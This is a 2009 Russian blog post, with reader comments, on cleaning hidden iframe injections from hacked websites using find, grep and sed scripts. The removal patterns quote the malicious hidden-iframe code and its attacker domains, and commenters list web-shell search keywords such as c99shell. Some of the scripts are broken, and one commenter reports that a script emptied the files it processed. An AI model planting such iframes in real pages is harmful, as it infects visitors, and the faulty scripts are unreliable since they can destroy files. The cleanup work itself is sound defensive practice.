Ищем и чистим сайты от инклудов iframe

Как писал не так давно, подцепил заразу трояна win32/Kryptik. CH и червя Win32/Pinit, которая наследила на паре FTP, давив скрытый iframe.

Рассмотрим несколько вариантов быстрого и полного избавления от этой заразы. Конечно же нам пригодятся знания ssh и наличие клиента для этого протокола. Под виндой подойдёт PuTTY, под Mac OS со всем справляется обычная консоль.

Так большинство вредоносного кода пытаются вставить iframe на вашу страницу, то поищем все странички на сервере, содержащие эту подстроку.

Ок, для этого подключаемся клиентом к нашему серверу (виртуальному серверу-хостингу) по протоколу SSH. Переходим в корневой web каталог, в котором находятся интересующие файлы и запускаем поиск:

find $PWD -name '*.*' -exec grep -l "iframe" {} \;

Вкратце: организовываем поиск (find) всех файлов (*.*) в текущем каталоге ($PWD), в каждом файле ищем (grep) нужную подстроку ("iframe"), в случае успеха, в вывод отдаём только имя файла (-l).

Если вдруг мусора много, записываем список файлов в файл:

find $PWD -name '*.*' -exec grep -l "iframe" {} \; > vir.txt

Далее анализируем полученные файлы, находя в них вредоносные строки. Самый примитивный способ — пройтись по списку файлов и удалить ручками вставки iframe.

Но мы пойдём другим путём.

Автоматизация или откиньтесь на спинку стула

Рассмотрим на моём примере. Нам уже не обойтись без скрипта на баше. Сразу приведу конечный вариант:

#!/bin/sh
find $PWD -name '*.html' -exec grep -l "gfdsgf333" {} \; > vir-html.txt

while read line
do
sed 's/<div style="visibility:hidden"><iframe src="http:\/\/gfdsgf333.com\/in.cgi?27" width=100 height=80<>\/iframe<>\/div>//g' <$line >tmp
mv tmp $line
done < vir-html.txt

find $PWD -name '*.php' -exec grep -l "gfdsgf333" {} \; > vir-php.txt
while read line
do
sed ’s/<?php echo <div style="visibility:hidden"><iframe src="http:\/\/gfdsgf333.com\/in.cgi?27" width=100 height=80><\/iframe><\/div>; ?>//g’ <$line >tmp
mv tmp $line
done < vir-php.txt

Как видите логика проста. По имени домена вычисляем все файлы с его вставкой, а далее просто удаляем поточным редактором найденные ранее подстроки.

Ну и на последок, точка контроля:

find $PWD -type f -exec grep -l "iframe"; {} \; > vir-other.txt

Смотрим файл vir-other.txt, там должно быть чисто или только добрые файлы (вроде jQuery. js и похожих).


Хорошие сайты:

Поделитесь с друзьями:
Доброго времени! Очень часто

Доброго времени!

Очень часто вместе с iframe добовляют скрипты удаленного shell администрирования,как совет рекомендую:
find . -print0 | xargs -0 grep word
где word это например shell,c99shell,ddevil,hack.
При анализе полученного вывода команды можно почерпнуть много интересного)))
чего быть совсем не должно)

ЗЫ Спасибо за полезную статью.

Опубликовано Дмитрий (не проверено) в Сб, 14/02/2009 - 11:40.
Спасибо за дополнение, shell

Спасибо за дополнение, shell будет поопасней ифрейма.

Опубликовано GogA в Пнд, 16/02/2009 - 12:40.
"Переходим в коренной web

"Переходим в коренной web каталог"

Саш, коренными бывают зубы, каталог — корневой :))

Опубликовано Ромка (не проверено) в Пт, 20/02/2009 - 00:17.
Спасибо, поправил :)

Спасибо, поправил :)

Опубликовано GogA в Втр, 24/02/2009 - 03:58.
Поправил на «корненной», а

Поправил на «корненной», а надо на «корневой» :)

Опубликовано Вернон Коди (не проверено) в Пнд, 23/03/2009 - 17:03.
а у меня в админке системные

а у меня в админке системные файлы перед отображением страницы проверяются на соответствие размера размеру файла из резервной копии.. если не соответствует, то копия файла из дампа заменяет потенциально опасный файл. таким образом вирус удаляется сам собой по мере того, как человек ходит по сайту...

Опубликовано Евген (не проверено) в Ср, 25/02/2009 - 14:24.
А что за админка-хостинг?

А что за админка-хостинг? :)

Очень хорошая опция!

Опубликовано GogA в Ср, 04/03/2009 - 04:40.
Error

Скрипт не отрабатывается,пишет:

8: Syntax error: "done" unexpected (expecting "do")

Не подскажете как быть(?

#!/bin/sh
find . -name '*.html' -exec grep -l "517891" {} \; > vir-html.txt

while read line
do
sed 's/tmp
mv tmp $line
done < vir-html.txt

find . -name '*.php' -exec grep -l "517891" {} \; > vir-php.txt
while read line
do
sed ’s/tmp
mv tmp $line
done < vir-php.txt

Опубликовано kritic (не проверено) в Вс, 08/03/2009 - 12:30.
Еще один вариант

Еще можно вот так,принцип тот же,но нет разделения на php и html(в некоторых случаях пришлось бы еще дописывать и для htm и т д).

#!/bin/sh
find . -print0 | xargs -0 grep -l 517891 > vir-list.txt

while read line
do
sed 's/:tmp
mv tmp $line
done < vir-list.txt

Ищет все файлы в системе просматривая их код,после этого грепает по заданному критерию,после этого с помощью поточного редактора очищает.

Опубликовано Дмитрий (не проверено) в Вс, 08/03/2009 - 13:32.
Я просто поставил права

Я просто поставил права только на чтение у файлов на хостинге и все.. А вообще нужно комп от вирусов избавлять...

Опубликовано Гость (не проверено) в Втр, 10/03/2009 - 15:20.
Не комп от вирусов, а скрипты

Не комп от вирусов, а скрипты от дыр :)

Опубликовано N_MONax (не проверено) в Пнд, 23/03/2009 - 04:50.
Привет, у меня похожая

Привет, у меня похожая проблема, пишу так

#!/bin/sh

find . -name '*.html' -exec grep -l "gfdsgf333" {} \; > vir-list.txt

while read line
do
sed 's/<iframe src="http://homenameregistration.cn/in.cgi?income12" width=1 height=1 style="visibility: hidden"></iframe>//g' <$line >tmp
mv tmp $line
done < vir-list.txt

в итоге все что подверглось обработке имеет размер 0 и получаю error
$ ./ffff.sh
sed: 1: "s/$lt;iframe src="http://h ...": bad flag in substitute command: 'h'

также ифрейм как php вставка в примере <?php echo <\/iframe><\/div>; ?> вообще не обрабатывается

может есть мысли по этому поводу ?

Опубликовано vvito5 (не проверено) в Чт, 19/03/2009 - 16:41.
Лучше всего забарикадировать

Лучше всего забарикадировать свой рабочий компьютер, у меня и антивирус и фаервол, давненько заразы никакой небыло :-D

Опубликовано Executor (не проверено) в Пнд, 23/03/2009 - 13:18.
GogA, тут завелся вирус?

Это у вас тут новая фича? при заходе на эту страницу в Опере 88/89 эллементов и постоянно выскакивает (NOD32) -

25.03.2009 4:38:32 Фильтр HTTP файл http://freewebhostguide.com/cache/readme.pdf PDF/Exploit.Pidief.OBO троянская программа соединение прервано - изолирован Обнаружена угроза при попытке доступа в Интернет следующим приложением: C:\Program Files\Opera\opera.exe

при это у меня открыт ТОЛЬКО этот блог

Опубликовано barabashko (не проверено) в Ср, 25/03/2009 - 05:42.
Один из комментаторов как-то

Один из комментаторов как-то вставил ифрейм в код комментария, сейчас пофиксю.

Опубликовано GogA в Ср, 25/03/2009 - 14:33.
Ассенизация сточных вод в HTML

Привет. Варианты очистки HTML "на лету".

1. Где-нибудь в разделе инициализации движка, ДО обращения к любой функции вывода
$tidy_ok = extension_loaded('tidy');
if ($tidy_ok == 1) ob_start();

2. По окончании рендеринга страницы, ПОСЛЕ любой функции вывода
if ($tidy_ok == 1) {
$tidy_cfg = array(
'markup' => true,
'force-output' => 1,
'logical-emphasis' => 1,
'lower-literals' => 1,
'indent' => 0,
'char-encoding' => 'raw',
'input-encoding' => 'raw',
'output-encoding' => 'raw',
'wrap' => 0,
'output-html' => 1,
'fix-uri' => 1,
'hide-comments' => 1,
'quote-ampersand' => 1,
'tidy-mark' => 0);
$tidy = new tidy;
$tidy->parseString(ob_get_clean(), $tidy_cfg, 'raw');
$out = tidy_get_output($tidy));
............
очистка HTML функцией preg_replace() или другим способом
............
echo $out;

Маска (регулярное выражение) в preg_replace() вырезает нежелательные теги, либо к переменной $out применяется самодельный парсер, "расставляющий запятые" в "казнить нельзя помиловать".

Довеском в примере задействован парсер HTML Tidy, но можно обойтись без него:

ob_start();
.............
.............
$out = ob_get_contents();
ob_end_clean(); //сбрасываем буфер дабы не было баден-баден
...чистим переменную $out функцией preg_replace()
echo $out;

Недостатки: контент (html или выведенный в режиме интерпретации php) после tidy_get_output/ob_get_contents обработан не будет.

Опубликовано GPS (не проверено) в Сб, 11/04/2009 - 15:28.
чистка

Закончил чистку кучи сайтов . некоторые дополнения
1.Во время атаки адреса сайтов в ифрейме в разных файлах менялись - так что чисто на автомате удалить не получилось.
2. В друпалных сайтах кое где еще в файлы тем после тега body вставляли не ифрейм какойто жабоскрипт ( снес к чертям не разбираясь)

так что чистил вручную - зараженые файлы искал по другой дате изменения

Судя по тому, что после захода на сайты вылавливал анитвирус ( AVG +Cure IT ,bitdefender и NOD ничего не видели) - задачей атаки было создание ботнета

ПС До нескольких заброшеных сплогов руки дошли не сразу.Так что позлорадствовал , сколько идиотов "продвигающих через камменты" получили вирь в наказание ;)

Опубликовано Бомж беглый (не проверено) в Вс, 03/05/2009 - 09:30.
Смотреть по дате изменения

Смотреть по дате изменения файлы - тоже хороший вариант найти заразу.

В конце очистки не забудь проверсти контроль качества.

Слова можно использовать для поиска:
iframe,shell,c99shell,ddevil,">eval(".

Все выданные файлики можно посмотреть ручками, так как некоторые элементы (например iframe) могут и в мирных целях использоваться.

Опубликовано GogA в Вс, 03/05/2009 - 19:48.
Пожалуйста, подскажите... У

Пожалуйста, подскажите... У меня на сайте вирус (подсказали добрые люди), только я не могу его никак найти... Пересмотрела все страницы, бестолку... Ругается только Аваст, д-р Веб, касперский - молчат.. Как мне быть? Пожлста помогите...

Опубликовано natasya (не проверено) в Сб, 27/06/2009 - 19:37.
а как заменить строчку на другую

а можно дополнить команду и добавить в нее замену определенной строчки в файле - на другую строчку

вроде должно быть не сложно, но я что-то ничего не могу найти по этому вопросу

подскажите

Опубликовано Гость (не проверено) в Чт, 24/12/2009 - 17:26.
Sed и

Sed и Awk
http://opennet.ru/docs/RUS/bash_scripting_guide/a14586.html

Опубликовано GogA в Пт, 25/12/2009 - 03:47.
получилось:)

получилось:) спасибо за ссылку

поменял строчку на эту
sed 's/comment=0/comment=1/g' <$line >tmp

comment=0 - что меняем
comment=1 - на что меняем

Опубликовано Гость (не проверено) в Сб, 26/12/2009 - 12:58.

Отправить комментарий

Содержимое этого поля является приватным и не будет отображаться публично.
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Доступные HTML теги: <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd> <blockquote>
  • Строки и параграфы переносятся автоматически.

Подробнее о форматировании

КАПЧА
Этот вопрос задается для того, чтобы выяснить, являетесь ли Вы человеком или представляете из себя автоматическую спам-рассылку.
 __     __  _  __   __   ___    _   _____ 
\ \ / / (_) \ \ / / / _ \ / | | ____|
\ \ / / | | \ V / | (_) | | | | _|
\ V / | | | | \__, | | | | |___
\_/ |_| |_| /_/ |_| |_____|
Введите код, изображенный в стиле ASCII-арт.

Подпишись

Подпишись на RSS!

Друзья сайта

Последние комментарии

Регистрация доменов ru